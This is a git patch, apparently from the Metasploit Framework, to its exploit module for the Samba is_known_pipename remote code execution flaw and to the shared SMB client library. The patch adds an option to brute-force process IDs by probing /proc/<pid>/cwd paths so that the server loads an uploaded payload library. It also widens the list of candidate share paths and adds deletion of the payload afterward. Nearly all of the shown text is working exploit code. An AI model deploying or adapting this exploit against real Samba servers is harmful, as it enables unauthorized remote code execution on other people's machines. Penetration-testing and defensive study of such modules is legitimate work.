From 18a871d6a48f542f9a97b600bab5c045fb0e9a7e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 25 May 2017 16:03:14 -0500 Subject: [PATCH] Delete the .so, add PID bruteforce option, cleanup --- lib/msf/core/exploit/smb/client.rb | 7 +- .../exploits/linux/samba/is_known_pipename.rb | 76 +++++++++++++++---- 2 files changed, 67 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb index df006885f7..4152af8163 100644 --- a/lib/msf/core/exploit/smb/client.rb +++ b/lib/msf/core/exploit/smb/client.rb @@ -125,9 +125,10 @@ module Msf # # You should call {#connect} before calling this # + # @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use # @return [void] - def smb_login - simple.login( + def smb_login(simple_client = self.simple) + simple_client.login( datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], @@ -142,7 +143,7 @@ module Msf datastore['SMB::Native_LM'], {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} ) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + simple_client.connect("\\\\#{datastore['RHOST']}\\IPC$") end diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 7545bde4ad..3ae4c1eb75 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote 'steelo ', # Vulnerability Discovery 'hdm', # Metasploit Module 'Brendan Coles ', # Check logic + 'Tavis Ormandy ', # PID hunting technique ], 'License' => MSF_LICENSE, 'References' => @@ -58,6 +59,11 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), ]) + + register_advanced_options( + [ + OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]), + ]) end @@ -67,7 +73,10 @@ class MetasploitModule < Msf::Exploit::Remote candidates << datastore['SMB_SHARE_BASE'] end - %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name| + %W{ /volume1 /volume2 /volume3 /volume4 + /shared /mnt /mnt/usb /media /mnt/media + /var/samba /tmp /home /home/shared + }.each do |base_name| candidates << base_name candidates << [base_name, @share] candidates << [base_name, @share.downcase] @@ -174,9 +183,9 @@ class MetasploitModule < Msf::Exploit::Remote shares end - def probe_module_path(path) + def probe_module_path(path, simple_client=self.simple) begin - simple.create_pipe(path) + simple_client.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Probe: #{path}: #{e}") end @@ -251,24 +260,54 @@ class MetasploitModule < Msf::Exploit::Remote end def find_payload - print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}") # Reconnect to IPC$ simple.connect("\\\\#{rhost}\\IPC$") - # - # In a perfect world we would find a way make IPC$'s associated CWD - # change to our share path, which would allow the following code: - # - # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}") - # - - # Until we find a better way, brute force based on common paths + # Look for common paths first, since they can be a lot quicker than hunting PIDs + print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}") generate_common_locations.each do |location| target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/') print_status("Trying location #{target}...") probe_module_path(target) end + + # Exit early if we already have a session + return if session_created? + + return unless datastore['BruteforcePID'] + + # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d + # to non-root, but their /proc/pid directories are still owned by root. Tryign to + # read the /proc/other-pid/cwd/target.so results in permission denied. There is a + # good chance that this still works on some embedded systems and odd-ball Linux. + + # Use the PID hunting strategy devised by Tavis Ormandy + print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)") + + # Configure the main connection to have a working directory of the file share + simple.connect("\\\\#{rhost}\\#{@share}") + + # Use a second connection to brute force the PID of the first connection + probe_conn = connect(false) + smb_login(probe_conn) + probe_conn.connect("\\\\#{rhost}\\#{@share}") + probe_conn.connect("\\\\#{rhost}\\IPC$") + + # Run from 2 to MAX_PID (ushort) trying to read the other process CWD + 2.upto(32768) do |pid| + + # Look for the PID associated with our main SMB connection + target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/') + vprint_status("Trying PID with target path #{target}...") + probe_module_path(target, probe_conn) + + # Keep our main connection alive + if pid % 1000 == 0 + self.simple.client.find_first("\\*") + end + end + end def check @@ -331,7 +370,18 @@ class MetasploitModule < Msf::Exploit::Remote upload_payload # Find and execute the payload from the share - find_payload rescue Rex::StreamClosedError + begin + find_payload + rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply + end + + # Cleanup the payload + begin + simple.connect("\\\\#{rhost}\\#{@share}") + uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" + simple.delete(uploaded_path) + rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply + end # Shutdown disconnect